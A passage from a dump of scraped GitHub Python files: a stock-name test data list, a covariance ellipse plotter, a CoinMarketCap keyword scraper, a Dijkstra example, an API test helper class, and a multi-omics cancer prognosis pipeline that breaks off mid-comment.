ао\",\n \"Уралкалий ао\", \"ФосАгро ао\", \"ФСК ЕЭС ао\", \"Юнипро ао\", \"МРСК Центра ао\"]\n","repo_name":"Arhelf1/whitelable_api_tests","sub_path":"data_for_tests/quotes_test_data.py","file_name":"quotes_test_data.py","file_ext":"py","file_size_in_byte":5632,"program_lang":"python","lang":"kv","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"37248718094","text":"#!/usr/bin/env python3\n\n#\n# Author: Philipp Rapp\n# Date: Nov-2020\n#\n# This is a small script containing some code to plot\n# the ellipse corresponding to a covariance matrix.\n#\n\n\nimport numpy as np\nfrom numpy import deg2rad, rad2deg, sin, cos, arctan2, pi, sqrt, exp\nfrom numpy.linalg import svd, inv, det\nimport matplotlib.pyplot as plt\n\ndef plot_covariance_matrix(Sigma):\n ''' Plot the one-sigma boundary of a given covariance matrix '''\n print('Plotting covariance matrix')\n print(Sigma)\n u, v, w = svd(Sigma)\n phi = arctan2(u[1,0], u[0,0])\n print('Reconstructed phi = {} deg'.format(rad2deg(phi)))\n print('Principal axes = {}'.format(v))\n # Compute points on the ellipse\n N = 100\n alpha = np.linspace(0, 2*pi, N)\n s, c = sin(phi), cos(phi)\n # Rotation matrix\n R = np.array([[c, -s], [s, c]])\n # Scaling matrix\n S = np.diag(sqrt(v))\n P = np.zeros((N, 2))\n for ii, a in enumerate(alpha):\n s, c = sin(a), cos(a)\n pos = np.array([c, s])\n # print('pos = ')\n # print(pos)\n pos = np.matmul(R, np.matmul(S, pos))\n P[ii,:] = pos\n \n \n plt.figure(1)\n plt.clf()\n plt.plot(P[:,0], P[:,1], label='One-sigma boundary')\n plt.grid(True)\n plt.legend()\n plt.title('Explicit computation')\n plt.show()\n \ndef plot_covariance_matrix_contour(Sigma):\n x = np.linspace(-5,5,200)\n y = np.linspace(-5,5,200)\n X, Y = np.meshgrid(x, y)\n Z = np.zeros(X.shape)\n G = np.zeros(X.shape) # Gaussian\n for ii, (x_row, y_row) in enumerate(zip(X, Y)):\n for jj, (xx, yy) in enumerate(zip(x_row, y_row)):\n # print('Pos = ({}, {}) at indices ({}, {})'.format(xx, yy, ii, jj))\n v = np.array([xx, yy])\n Z[ii,jj] = np.dot(v, np.dot(inv(Sigma), v)) - 1\n exp_arg = -0.5 * (np.dot(v, np.dot(inv(Sigma), v)))\n G[ii,jj] = 1/sqrt(det(Sigma))**2 * exp(exp_arg)\n if xx <= -2.0 and yy <= -1.5:\n # Z[ii,jj] = -10\n pass\n \n plt.figure(2)\n plt.clf()\n plt.contourf(X, Y, Z)\n plt.grid(True)\n plt.colorbar()\n plt.title('Quadric countour')\n plt.show()\n \n plt.figure(3)\n plt.clf()\n plt.contourf(X, Y, G)\n plt.grid(True)\n plt.colorbar()\n plt.title('Gaussian countour')\n plt.show()\n \n\n\ndef main():\n Sigma = np.array([[5.0, 0.0], [0.0, 1.0]])\n # Construct a rotation matrix\n phi = deg2rad(10)\n s, c = sin(phi), cos(phi)\n R = np.array([[c, -s], [s, c]])\n Sigma = np.matmul(np.matmul(R, Sigma), R.transpose())\n # Sigma = np.array([[3.0,1.0], [1.0, 2.0]])\n plot_covariance_matrix((Sigma))\n plot_covariance_matrix_contour(Sigma)\n\n \nif __name__ == '__main__':\n main()\n","repo_name":"pfrapp/utility-algorithms","sub_path":"covariance_matrix_ellipse.py","file_name":"covariance_matrix_ellipse.py","file_ext":"py","file_size_in_byte":2756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"17124685444","text":"from bs4 import BeautifulSoup\nfrom pyppeteer import launch\nimport asyncio\nimport pandas as pd\nimport time\n\nasync def get_crypto_buzzwords():\n browser = await launch()\n page = await browser.newPage()\n await page.goto(\"https://coinmarketcap.com/alexandria/glossary\")\n page_content = await page.content()\n soup = BeautifulSoup(page_content, 'html.parser')\n cryto_buzz_words = soup.find_all('h2', attrs={'class':'sc-bdfBwQ Text-msjfkz-0 Heading-juwhnu-0 cnOLEs ehzvDo'})\n buzz_words = []\n for cryto_buzz_word in cryto_buzz_words:\n buzz_words.append([cryto_buzz_word.text])\n df = pd.DataFrame(buzz_words, columns=[\"buzzwords\"])\n #print(df)\n df.to_csv(\"crypto_keywords.csv\")\n\n#asyncio.get_event_loop().run_until_complete(get_crypto_buzzwords())\n\n\nasync def get_crypto_names():\n browser = await launch()\n page = await browser.newPage()\n await page.goto(\"https://coinmarketcap.com/all/views/all/\")\n page_content = await page.content()\n soup = BeautifulSoup(page_content, 'html.parser')\n crypto_names = soup.find_all('a', attrs={'class':'cmc-table__column-name--name cmc-link'})\n\n crypto_currencies = []\n crypto_dict = {}\n final_data = []\n for crypto_name in crypto_names:\n crypto_currencies.append(crypto_name.text)\n df = pd.read_csv(\"crypto_keywords.csv\")\n existing_list = df['buzzwords'].tolist()\n \n existing_list.extend(crypto_currencies)\n final_data = [ [x] for x in existing_list]\n crypto_dict[\"buzzwords\"] = final_data\n #print(crypto_dict)\n final_data.append(crypto_dict)\n df1 = pd.DataFrame(final_data, columns=[\"buzzwords\"])\n print(df1)\n df1.to_csv(\"crypto_keywords.csv\")\n \n #print(df)\n\nasyncio.get_event_loop().run_until_complete(get_crypto_names())","repo_name":"nikhilkharade/Crypto-Tweets","sub_path":"app/api/scrape_crypto_keywords/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"31852494621","text":"import heapq\n\ngraph = {\n 'A': {'B': 50, 'C': 45, 'D': 10},\n 'B': {'C': 10, 'D': 15},\n 'C': {'E': 3},\n 'D': {'A': 10, 'E': 15},\n 'E': {'B': 20, 'C': 35},\n 'F': {'E': 3}\n}\n\n\ndef dijkstra(graph, start):\n # Create a dictionary to store shortest path from start to other nodes\n dis = {}\n for node in graph:\n dis[node] = float('inf') # initialize the distance to inf\n # distance from node %start to itself is 0\n dis[start] = 0\n\n # Track visited node, if not visited: put in the priority queue\n visited = {}\n pq = [(0, start)]\n heapq.heapify(pq)\n\n while pq:\n (D, node) = heapq.heappop(pq)\n # Mark this node is visited:\n visited[node] = True\n\n # From this node, can travel to other nodes in path_options\n path_options = graph[node].items()\n\n for child_node, weight in path_options:\n # If the child_node not been visited, push in the priority queue\n if child_node not in visited:\n heapq.heappush(pq, (weight, child_node))\n\n # Update the shortest distance if:\n if dis[node] + weight < dis[child_node]:\n dis[child_node] = dis[node] + weight\n\n return dis\n\nprint(dijkstra(graph, 'B'))\nprint(dijkstra(graph, 'A'))\n","repo_name":"namnguyen3019/Graph","sub_path":"Dijkstra/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"10308927534","text":"import json\nimport requests\n\nfrom http import HTTPStatus\nfrom urllib.parse import urlencode\n\nfrom unittest import TestCase\n\n\nclass BaseApiTestCase(TestCase):\n \"\"\"Prepare helpers to simulate API requests.\"\"\"\n\n def setUp(self):\n super().setUp()\n\n self.request_headers = {\n 'Accept': 'application/json',\n 'Content-Type': 'application/json',\n }\n\n self.request_methods = {\n 'DELETE': requests.delete,\n 'GET': requests.get,\n 'POST': requests.post,\n 'PUT': requests.put,\n 'PATCH': requests.patch,\n }\n\n def _request_method(self, method_name, path, status, headers, body=None, params=None):\n if headers:\n self.request_headers.update(headers)\n\n request_method = self.request_methods[method_name]\n\n request_body = json.dumps(body, ensure_ascii=False) if body else None\n request_params = urlencode(params, safe=',') if params else None\n\n response = request_method(\n path,\n data=request_body,\n headers=self.request_headers,\n params=request_params,\n )\n self.assertEqual(response.status_code, status, response.content)\n\n return response\n\n def request_get(self, path, params=None, status=HTTPStatus.OK, headers=None):\n return self._request_method('GET', path, status, headers, params=params)\n\n def request_post(self, path, body=None, params=None, status=HTTPStatus.OK, headers=None):\n return self._request_method('POST', path, status, headers, body, params)\n\n def request_patch(self, path, body=None, status=HTTPStatus.OK, headers=None):\n return self._request_method('PATCH', path, status, headers, body)\n\n def request_delete(self, path, status=HTTPStatus.OK, headers=None):\n return self._request_method('DELETE', path, status, headers)\n\n def request_put(self, path, body, status=HTTPStatus.OK, headers=None):\n return self._request_method('PUT', path, status, headers, body)\n\n def _get_access_token(self, path, user, password):\n response = self.request_post(\n path=path,\n status=HTTPStatus.OK,\n body={\n \"username\": user,\n \"password\": password\n }\n )\n data = json.loads(response.text)\n return data['access_token']\n","repo_name":"pcaldentey/sg","sub_path":"app/tests/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"36520491969","text":"import tensorflow as tf\nimport numpy as np\nimport pandas as pd\nfrom pandas import DataFrame,Series\nimport math\nimport random\nfrom sklearn.metrics import roc_curve, auc \nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.pipeline import Pipeline\nfrom math import sqrt, ceil\nfrom operator import itemgetter\nfrom copy import deepcopy\nfrom sklearn.model_selection import KFold\nfrom scipy import stats\nfrom multiprocessing import Process, Queue\nimport sys\nimport argparse\nrandom.seed(0)\nnp.random.seed(0)\n\n\n\ndef main():\n \n\t#preprocossing.\n\tpm=preprocessing() \n\tprint(\"----------------------------------------------------------------------------------------------------\")\n\tprint(\"2. Step 1 : reconstructing FIs network\")\n\treconstructed_FIs_perfold,gene_in_reconstructed_FIs_perfold=pm.reconstruct_FIs_network()\n\tprint(\"----------------------------------------------------------------------------------------------------\")\n\tprint(\"3. Step 2,3 : Learning the network and Feature selection using PageRank\")\n\tbiomarker_perfold=[]\n\tfor foldnum in range(10):\n\t\tdata_for_GANs=pm.mk_data_for_GANs(gene_in_reconstructed_FIs_perfold[foldnum],foldnum)\n\t\t\n\t\tscore=np.zeros((len(pm.mRNA.index)))\n\t\t# multiprocessing.\n\t\toutput1 = Queue(); output2 = Queue(); output3 = Queue();output4 = Queue();output5 = Queue();\n\t\toutput6 = Queue(); output7 = Queue(); output8 = Queue();output9 = Queue();output10 = Queue();\n\t\toutput11 = Queue(); output12 = Queue(); output13 = Queue();output14 = Queue();output15 = Queue();\n\t\toutput16 = Queue(); output17 = Queue(); output18 = Queue();output19 = Queue();output20 = Queue();\n\t\tprocess_list = []\n\t\tOutput = [output1, output2, output3,output4,output5,output6, output7, output8,output9,output10,output11, output12, output13,output14,output15,output16, output17, output18,output19,output20]\n\t\t\n\t\t#To select a stable and robust feature for random initialization of weights, repeatedly experiment with the reconstructed network learning-phase using GANs and the PageRank process (t times). \n\t\t#t is n_experiment.\n\t\tfor process_number in range(pm.n_experiment) :\n\t\t\tprocess_list.append(Process(target=pm.Learning_FIsnetwork_GANs, args=(process_number, reconstructed_FIs_perfold[foldnum],data_for_GANs,foldnum, Output[process_number])))\n\n\t\tfor n,p in enumerate(process_list) :\n\t\t\tp.start()\t \n\n\t\t\n\t\t\n\t\tresult_GANs=[]\n\t\tfor i in range(pm.n_experiment):\n\t\t\tresult_GANs.append(Output[i].get());\n\t\t\n\t\tfor process in process_list :\n\t\t\tprocess.join()\n\t\t#select the genes that appeared more than b times in t experiments as biomarkers.\n\t\t#t is n_experiment.\n\t\t#b is limit.\n\t\tfor i in range(pm.n_experiment):\n\t\t\tpagerank_genes=pm.pagerank(result_GANs[i])\n\t\t\tfor k in pagerank_genes:\n\t\t\t\tscore[pm.gene2num[k]]=score[pm.gene2num[k]]+1\n\t\tbiomarker=[]\n\t\tfor i,j in zip(score,pm.mRNA.index):\n\t\t\tif i >=pm.limit:\n\t\t\t\tbiomarker.append(j)\n\t\tbiomarker_perfold.append(biomarker)\n\t\t\n\t#save biomarker\n\tf = open(\"ProposedMethod_biomarker_per_fold.txt\", 'w')\n\tfor foldnum in range(10):\n\t\tf.write(\"\\nFold Number(10 fold validation) : %d\\n\" % foldnum)\n\t\tfor gene in biomarker_perfold[foldnum]:\n\t\t\tf.write(\"%s\\t\" % gene)\n\tf.close()\n\tprint(\"----------------------------------------------------------------------------------------------------\")\n\tprint(\"4. Step4 : Prognosis Prediction\")\n\tpm.auc(reconstructed_FIs_perfold,biomarker_perfold)\n\n\n\"\"\"\n\tFrom here,Functions for preprocessing\n\tthis step includes loading data,intersectioning data,z-scoring for each sample and t-test for each fold\n\n\"\"\"\n\n#read a comma-delimited text file.\ndef read_file(file):\n\twith open(file, 'r') as fop :\n\t\tdata= []\n\t\tfor line in fop :\n\t\t\tdata.append(line.strip().split(','))\n\tdata=np.array(data)\n\tdata=DataFrame(data[1:,1:],columns=data[0,1:],index=data[1:,0])\n\treturn data\n\n#download mRNA,CNA,methylation,SNP,clinical file(lable),FIs network and parameters.\ndef loading_data():\t\t\n\t#download mRNA,CNA,methylation and SNP.\n\tparser=argparse.ArgumentParser(description=\"Improved method for prediction of cancer prognosis using network and multi-omics data\")\t\t\t\t\t\n\tparser.add_argument('mRNA', type=str, help=\"Gene expression data\")\n\tparser.add_argument('CNA', type=str, help=\"Copy number data\")\n\tparser.add_argument('METHYLATION', type=str, help=\"Methylation data\")\n\tparser.add_argument('SNP', type=str, help=\"Somatic mutation data\")\n\tparser.add_argument('CLINICAL_FILE', type=str, help=\"If the patient's label is 0, the patient has a good prognosis.And if the patient's label is 1, the patient has a bad prognosis.\")\n\tparser.add_argument('NETWORK', type=str, help=\"Functional interaction network.\")\n\t\n\tparser.add_argument('-t','--top_n_gene_in_ttest',type=int, default=400, help=\"Parameter of step 1. top N genes with a large difference between good and bad patients in the t-test.(Default is 400)\")\n\tparser.add_argument('-i','--n_experiment',type=int, default=5, help=\"Parameter of step 2 and step 3 (t in paper). To select a stable and robust feature for weight random initialization, the number of times that appling the pagerank step and learning reconstructed FIs network using GANs step experiment repeatedly.(Default is 5)\")\n\tparser.add_argument('-n','--n_gene',type=int, default=250, help=\"Parameter of step 3. the number of biomarkers selected for each experiment (Default is 250)\")\n\tparser.add_argument('-d','--dampingfactor',type=float, default=0.7, help=\"Parameter of step 3. This is damping factor using in pagerank algorithm (Default is 0.7)\") \n\tparser.add_argument('-l','--limit_of_experiment',type=int, default=5, help=\"Parameter of step 2,3 (b in paper). when step 2 and step 3 are repeated t times, the genes that appeared b times in t times is selected as biomarkers. The b is the limit of experiment.(Default is 5)\") \n\t\n\tmRNA=read_file(parser.parse_args().mRNA)\n\tCNA=read_file(parser.parse_args().CNA)\n\tmet=read_file(parser.parse_args().METHYLATION)\n\tsnp=read_file(parser.parse_args().SNP)\n\t\n\t#download FIS network.\n\twith open(parser.parse_args().NETWORK, 'r') as fop :\n\t\tedges = []\n\t\tfor line in fop :\n\t\t\tedges.append(line.strip().split(','))\n\t\t\t\n\t#download lable (lable 0: patient who has good prognosis,lable 1: patient who has bad prognosis).\n\twith open(parser.parse_args().CLINICAL_FILE, 'r') as fop :\n\t\tcli = []\n\t\tfor line in fop :\n\t\t\tcli.append(line.strip().split(','))\n\tcli=np.array(cli)\n\tlable=Series(cli[:,1],index=cli[:,0])\n\t\n\t#download parameters\n\tn_gene_in_ttest=parser.parse_args().top_n_gene_in_ttest\n\tn_biomarker=parser.parse_args().n_gene\n\tdamping_factor=parser.parse_args().dampingfactor\n\tn_experiment=parser.parse_args().n_experiment\n\tn_limit=parser.parse_args().limit_of_experiment\n\treturn mRNA,CNA,met,snp,edges,lable,n_gene_in_ttest,n_biomarker,damping_factor, n_experiment,n_limit\n\n#find the intersection of genes in mRNA, CNA, methylation,SNP data and FIs network and the intersection of samples in mRNA, CNA, methylation, and SNP data.\ndef intersetion_data(raw_mRNA,raw_CNA,raw_met,raw_snp,raw_edges,raw_clinical_file):\n\t#find the intersection of genes in mRNA, CNA, methylation, and SNP data.\n\tco_gene=[x for x in raw_mRNA.index if x in raw_CNA.index]\n\tco_gene=[x for x in raw_met.index if x in co_gene]\n\tco_gene=[x for x in raw_snp.index if x in co_gene]\n\n\t#find the intersection between the genes from the previous step and the genes in the FIs network.\n\tedge_list = []\n\tppi_genes = set()\n\tfor edge in raw_edges:\n\t\tgene1, gene2 = edge[0], edge[1]\n\t\tcondition = ((gene1 in co_gene) and (gene2 in co_gene))\n\t\tif condition :\n\t\t\tedge_list.append([gene1, gene2])\n\t\t\tppi_genes.add(gene1)\n\t\t\tppi_genes.add(gene2)\n\tppi_genes = list(ppi_genes)\n\n\t#find the intersection of samples in mRNA, CNA, methylation, and SNP data.\n\tco_sample=[x for x in raw_mRNA.columns if x in raw_CNA.columns]\n\tco_sample=[x for x in raw_met.columns if x in co_sample]\n\tco_sample=[x for x in raw_snp.columns if x in co_sample]\n\n\t#modify raw mRNA, raw CNA, raw methylation, raw SNP, and raw lable data with the intersection of the genes and the intersection of the samples.\n\tmRNA=raw_mRNA.loc[ppi_genes,co_sample]\n\tCNA=raw_CNA.loc[ppi_genes,co_sample]\n\tmet=raw_met.loc[ppi_genes,co_sample]\n\tsnp=raw_snp.loc[ppi_genes,co_sample]\n\tlable=raw_clinical_file.loc[co_sample]\n\t\n\treturn mRNA,CNA,snp,met,edge_list,lable\t\n\n#normalizing data for each sample by z-scoring.\ndef zscore(data) :\n\tlen_row_gene = data.shape[0]\n\tlen_column_sample = data.shape[1]\n\tzscored_data = np.zeros((len_row_gene, len_column_sample))\n\tfor column_sample in range(len_column_sample):\n\t\tmu = data[:,column_sample].mean()\n\t\tsigma = data[:,column_sample].std()\n\t\tif mu!=0 and sigma!=0:\n\t\t\tfor row_gene in range(len_row_gene):\n\t\t\t\tx = data[row_gene][column_sample]\n\t\t\t\tzscored_data[row_gene][column_sample] = (x - mu)/sigma\n\t\telse:\n\t\t\tprint('Warning!z-scoring!')\n\n\treturn zscored_data\n\t\n#seperate patients who have bad prognosis and patients who have good prognosis.\t\ndef seperate_good_bad_patients(sampleList,lable):\n\tgood_samples=[]\n\tbad_samples=[]\n\tfor i,j in zip(sampleList,lable[sampleList]):\n\t\tif j=='0':\n\t\t\tgood_samples.append(i)\n\t\telif j=='1':\n\t\t\tbad_samples.append(i)\n\t\telse:\n\t\t\t#exception Handling\n\t\t\tprint('#########################################################################################################################')\n\t\t\tprint('\t\t\t\t\t\t\t\t\terror!lable can be only 0 or 1')\n\t\t\tprint('\t\t\t\t\t\t\t\t\tYou have to stop this process!')\n\t\t\tprint('#########################################################################################################################')\n\treturn good_samples,bad_samples\n\n\n\n#perfom t-test comparing patients who have poor prognosis and patients who have good prognosis for each dataset.\n#num2gene is Series in which data is a gene and index is a gene number.\n#good_sam is the list of samples which have good prognosis and bad_sam is the list of samples which have bad prognosis. \ndef t_test(mRNA,CNA,met,snp,num2gene,good_sam,bad_sam):\n\t\t\n\t\t#exception Handling\n\t\tif len(good_sam)==0:\n\t\t\tprint('#########################################################################################################################')\n\t\t\tprint('\t\t\t\t\t\t\t\t\tError!there is no good prognostic patient')\n\t\t\tprint('\t\t\t\t\t\t\t\t\tYou have to stop this process!')\n\t\t\tprint('#########################################################################################################################')\n\t\tif len(bad_sam)==0:\n\t\t\tprint('#########################################################################################################################')\n\t\t\tprint('\t\t\t\t\t\t\t\t\terror!there is no bad prognostic patient')\n\t\t\tprint('\t\t\t\t\t\t\t\t\t\tYou have to stop this process!')\n\t\t\tprint('#########################################################################################################################')\n\t\t\t\n\t\t\t\n\t\tn_genes=len(mRNA.index)\n\t\tgenes=mRNA.index\n\t\t\n\t\t#perform a t-test for each gene in mRNA data conparing a poor prognostic patient group and a good prognostic patient group. \n\t\tt_scores = np.zeros(n_genes, dtype=np.float32)\t\n\t\tfor i in range(n_genes):\n\t\t\tpoor_data = mRNA.loc[num2gene[i], bad_sam].values.astype(np.float64)\n\t\t\tgood_data = mRNA.loc[num2gene[i], good_sam].values.astype(np.float64)\n\t\t\tt_statistic = abs(stats.ttest_ind(poor_data,good_data)[0])\n\t\t\tif np.isnan(t_statistic) :\n\t\t\t\tt_statistic = 0\n\t\t\t\tt_scores[i] = t_statistic\n\t\t\telse :\n\t\t\t\tt_scores[i] = t_statistic\n\t\t\n\t\t#t_scores is DataFrame in which data is a list of the t-test statistics in mRNA data and index is a list of genes. \n\t\tt_scores=DataFrame(t_scores,index=genes)\n\t\t\n\t\t#perform a t-test for each gene in CNA data conparing a poor prognosis patient group and a good prognosis patient group.\n\t\tt_scores2 = np.zeros(n_genes, dtype=np.float32)\t\n\t\tfor i in range(n_genes):\n\t\t\tpoor_data = CNA.loc[num2gene[i], bad_sam].values.astype(np.float64)\n\t\t\tgood_data = CNA.loc[num2gene[i], good_sam].values.astype(np.float64)\n\t\t\tt_statistic = abs(stats.ttest_ind(poor_data,good_data)[0])\n\t\t\tif np.isnan(t_statistic) :\n\t\t\t\tt_statistic = 0\n\t\t\t\tt_scores2[i] = t_statistic\n\t\t\telse :\n\t\t\t\tt_scores2[i] = t_statistic\n\t\t#t_scores2 is DataFrame in which data is a list of the t-test statistics in CNA data and index is a list of genes. \n\t\tt_scores2=DataFrame(t_scores2,index=genes)\n\t\t\n\t\t#Perform a t-test for each gene in methylation data conparing a poor prognosis patient group and a good prognosis patient group.\n\t\tt_scores3= np.zeros(n_genes, dtype=np.float32)\t\n\t\tfor i in range(n_genes):\n\t\t\tpoor_data = met.loc[num2gene[i], bad_sam].values.astype(np.float64)\n\t\t\tgood_data = met.loc[num2gene[i], good_sam].values.astype(np.float64)\n\t\t\tt_statistic = abs(stats.ttest_ind(poor_data,good_data)[0])\n\t\t\tif np.isnan(t_statistic) :\n\t\t\t\tt_statistic = 0\n\t\t\t\tt_scores3[i] = t_statistic\n\t\t\telse :\n\t\t\t\tt_scores3[i] = t_statistic\n\t\t#t_scores3 is DataFrame in which data is a list of the t-test statistics in methylation data and index is a list of genes. \n\t\tt_scores3=DataFrame(t_scores3,index=genes)\n\t\t\n\t\t#Perform a t-test for each gene in SNP data conparing a poor prognosis patient group and a good prognosis patient group.\n\t\tt_scores4= np.zeros(n_genes, dtype=np.float32)\t\n\t\tfor i in range(n_genes):\n\t\t\tpoor_data = snp.loc[num2gene[i], bad_sam].values.astype(np.float64)\n\t\t\tgood_data = snp.loc[num2gene[i], good_sam].values.astype(np.float64)\n\t\t\tt_statistic = abs(stats.ttest_ind(poor_data,good_data)[0])\n\t\t\tif np.isnan(t_statistic) :\n\t\t\t\tt_statistic = 0\n\t\t\t\tt_scores4[i] = t_statistic\n\t\t\telse :\n\t\t\t\tt_scores4[i] = t_statistic\n\t\t#t_scores4 is DataFrame in which data is a list of the t-test statistics in SNP data and index is a list of genes.\n\t\tt_scores4=DataFrame(t_scores4,index=genes)\n\t\t\n\t\treturn t_scores,t_scores2,t_scores3,t_scores4\n\n#perform preprocessing.\t\t\ndef preprocessing():\n\tprint('1.preprocessing data...')\n\t#download mRNA,CNA,methylation,SNP,lable,FIs network data and parameters.\n\tprint(' loading data...')\n\traw_mRNA,raw_CNA,raw_met,raw_snp,raw_edges,raw_lable,n_gene_in_ttest,n_biomarker,damping_factor, n_experiment,n_limit=loading_data()\n\t\n\t\n\t\n\t#find the intersection of genes in mRNA, CNA, methylation,SNP data and FIs network and the intersection of samples from mRNA, CNA, methylation, and SNP data.\n\t#then modify raw mRNA, raw CNA, raw methylation, raw SNP, and raw lable data with the intersection of the genes and the intersection of the samples.\n\t\n\traw_mRNA2,raw_CNA2,raw_met2,raw_snp2,edge_list,lable=intersetion_data(raw_mRNA,raw_CNA,raw_met,raw_snp,raw_edges,raw_lable)\n\t\n\t#normalizing data for each sample by z-scoring in mRNA, CNA, methylation and SNP data respectly.\n\tmvalues=zscore(raw_mRNA2.values.astype('float64'))\n\tCNAvalues=zscore(raw_CNA2.values.astype('float64'))\n\tmetvalues=zscore(raw_met2.values.astype('float64'))\n\tsnpvalues=zscore(raw_snp2.values.astype('float64'))\n\tmRNA = DataFrame(mvalues, index=raw_mRNA2.index, columns=raw_mRNA2.columns)\n\tCNA = DataFrame(CNAvalues, index=raw_CNA2.index, columns=raw_CNA2.columns)\n\tmet = DataFrame(metvalues, index=raw_met2.index, columns=raw_met2.columns)\n\tsnp = DataFrame(snpvalues, index=raw_snp2.index, columns=raw_snp2.columns)\n\t\n\t#gene2num and num2gene are for mapping between genes and numbers.\n\tgene2num = {}\n\tnum2gene = {}\n\tfor i, gene in enumerate(mRNA.index):\n\t\tgene2num[gene] = i\n\t\tnum2gene[i] = gene\n\t\t\n\t#divide samples for 10fold validation \n\tprint(' divide samples for 10fold validation ')\n\tgood_sam,bad_sam=seperate_good_bad_patients(mRNA.columns,lable)\n\tgood_sam=np.array(good_sam)\n\tbad_sam=np.array(bad_sam)\n\tkf = KFold(n_splits=10, random_state=None, shuffle=False)\n\n\tgood_train_samples=[]\n\tbad_train_samples=[]\n\ttest_samples=[]\n\tfor good_index, bad_index in zip(kf.split(good_sam),kf.split(bad_sam)):\n\t\tgood_train, good_test = good_sam[good_index[0]], good_sam[good_index[1]]\n\t\tbad_train, bad_test = bad_sam[bad_index[0]], bad_sam[bad_index[1]]\n\t\tgood_train_samples.append(good_train)\n\t\tbad_train_samples.append(bad_train)\n\t\ttest_tmp=np.hstack((good_test,bad_test))\n\t\ttest_samples.append(test_tmp)\n\n\t\n\t#perform a t-test for each fold.\n\tmRNA_ttest=[]\n\tCNA_ttest=[]\n\tmet_ttest=[]\n\tsnp_ttest=[]\n\tfor foldnum in range(10):\n\t\tprint(' '+str(foldnum)+'fold ttest start')\n\t\tgoodsam=good_train_samples[foldnum]\n\t\tbadsam=bad_train_samples[foldnum]\n\t\tmRNA_ttmp,CNA_ttmp,met_ttmp,snp_ttmp=t_test(mRNA,CNA,met,snp,num2gene,goodsam,badsam)\n\t\tmRNA_ttest.append(mRNA_ttmp)\n\t\tCNA_ttest.append(CNA_ttmp)\n\t\tmet_ttest.append(met_ttmp)\n\t\tsnp_ttest.append(snp_ttmp)\n\n\t\n\t#make instance of class PM.\n\tPm=PM(n_gene_in_ttest,n_biomarker,damping_factor, n_experiment,n_limit,mRNA,CNA,met,snp,lable,edge_list,good_train_samples,bad_train_samples,test_samples,gene2num,num2gene,mRNA_ttest,CNA_ttest,met_ttest,snp_ttest)\n\t\n\treturn Pm\n\n\"\"\"\n\tFrom here,Functions for Step 1,2,3 and 4 in paper.\n\tstep1 is recostructing FIs network.\n\tstep2 is learning the network.\n\tstep3 is Feature selection using PageRank.\n\tstep4 is prognosis predicition.\n\"\"\"\t\n\n#PM is the class which has multi-omics Data, parameters, series to map between genes and gene numbers, samples for 10 fold validation , t-statistics for each fold and functions for Step 1, 2, 3, and 4.\nclass PM:\n\n\t#initialize variables.\n\t\"\"\"\n\t\tself.n_gene_in_ttest is a parameter which is the number of genes which have high absolute values of t-statistics to be used in step 1.\n\t\tself.n_experiment is parameter which is the number of times to repeat step2 and step3.\n\t\tself.n_biomarker is parameter which is the number of genes which are selected as biomarkers.\n\t\tself.limit is parameter of step 2,3. when step2 and step3 are repeated t times(t=n_experiment), the genes that appeared b times in t times is selected as biomarkers. The b is the limit.\n\t\tself.damping_factor is damping factor using in pagerank algorithm.\n\t\tself.mRNA is mRNA data.\n\t\tself.CNA is CNA data.\n\t\tself.met is methylation data.\n\t\tself.snp is SNP data.\n\t\tself.lable is lable of samples (clinical data).\n\t\tself.edge_list is edges in FIs network.\n\t\tself.good_train_samples is a list containing lists of good prognostic training samples in each fold for 10 fold validation.\n\t\tself.bad_train_samples is a list containing lists of bad prognostic trainging samples in each fold for 10 fold validation.\n\t\tself.test_samples a list containing lists of test samples in each fold for 10 fold validation.\n\t\tself.gene2num is series for mapping from genes to gene numbers.\n\t\tself.num2gene is series for mapping from gene numbers to genes.\n\t\tself.mRNA_ttest is a list containing DataFrames that are the results of t-test in mRNA data per fold at the preprocessing stage.\n\t\tself.CNA_ttest is a list containing DataFrames that are the results of t-test in CNA data per fold at the preprocessing stage.\n\t\tself.met_ttest is a list containing DataFrames that are the results of t-test in methylation data per fold at the preprocessing stage.\n\t\tself.snp_ttest is a list containing DataFrames that are the results of t-test in SNP data per fold at the preprocessing stage.\n\t\"\"\"\n\tdef __init__(self,n_gene_in_ttest,n_biomarker,damping_factor, n_experiment,n_limit,mRNA,CNA,met,snp,lable,edge_list,good_train_samples,bad_train_samples,test_samples,gene2num,num2gene,mRNA_ttest,CNA_ttest,met_ttest,snp_ttest):\n\t\tself.n_gene_in_ttest=n_gene_in_ttest\n\t\tself.n_experiment=n_experiment\n\t\tself.n_biomarker=n_biomarker\n\t\tself.limit=n_limit\n\t\tself.damping_factor=damping_factor\n\t\tself.mRNA = mRNA\n\t\tself.CNA=CNA\n\t\tself.met=met\n\t\tself.snp=snp\n\t\tself.lable=lable\n\t\tself.edge_list=edge_list\n\t\tself.good_train_samples=good_train_samples\n\t\tself.bad_train_samples=bad_train_samples\n\t\tself.test_samples=test_samples\n\t\tself.gene2num=gene2num\n\t\tself.num2gene=num2gene\n\t\tself.mRNA_ttest=mRNA_ttest\n\t\tself.CNA_ttest=CNA_ttest\n\t\tself.met_ttest=met_ttest\n\t\tself.snp_ttest=snp_ttest\n\t\n\t#step 1. reconstruct FIs network.\n\tdef reconstruct_FIs_network(self):\n\t\t#reconstructed_network_10fold is list containing lists of the edges in reconstructed network per fold.\n\t\treconstructed_network_10fold=[]\n\t\t\n\t\t#gene_in_reconstructed_network_10fold is list containing sets of the genes in reconstructed network per fold.\n\t\tgene_in_reconstructed_network_10fold=[]\n\t\t\n\t\t#reconstruct network per fold.\n\t\tfor foldnum in range(10):\n\t\t\t\n\t\t\t#reconstructed_network is a list of the edges in reconstructed network in the fold (foldnum :fold number for 10fold validation).\n\t\t\treconstructed_network=[]\n\t\t\t\n\t\t\t#gene_in_reconstructed_network is a set of the genes in reconstructed network in the fold (foldnum :fold number for 10fold 